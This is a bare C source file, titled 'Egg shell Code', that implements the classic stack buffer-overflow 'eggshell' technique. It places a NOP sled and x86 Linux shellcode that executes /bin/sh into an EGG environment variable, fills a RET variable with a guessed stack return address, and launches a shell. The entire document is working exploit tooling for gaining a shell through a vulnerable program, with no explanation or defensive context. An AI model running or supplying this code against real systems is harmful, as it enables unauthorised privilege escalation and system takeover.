Egg shell Code

#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;
    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);
    if (!(buff = malloc(bsize)))
    {
        printf("Can't allocate memory.\n");
        exit(0);
    }
    if (!(egg = malloc(eggsize)))
    {
        printf("Can't allocate memory.\n");
        exit(0);
    }
    addr = get_esp() - offset;
    printf("Using address: 0x%x\n", addr);
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;
    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';
    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"RET=",4);
    putenv(buff);
    printf( "%d\n", sizeof(shellcode) );
        system( "/bin/sh" );

}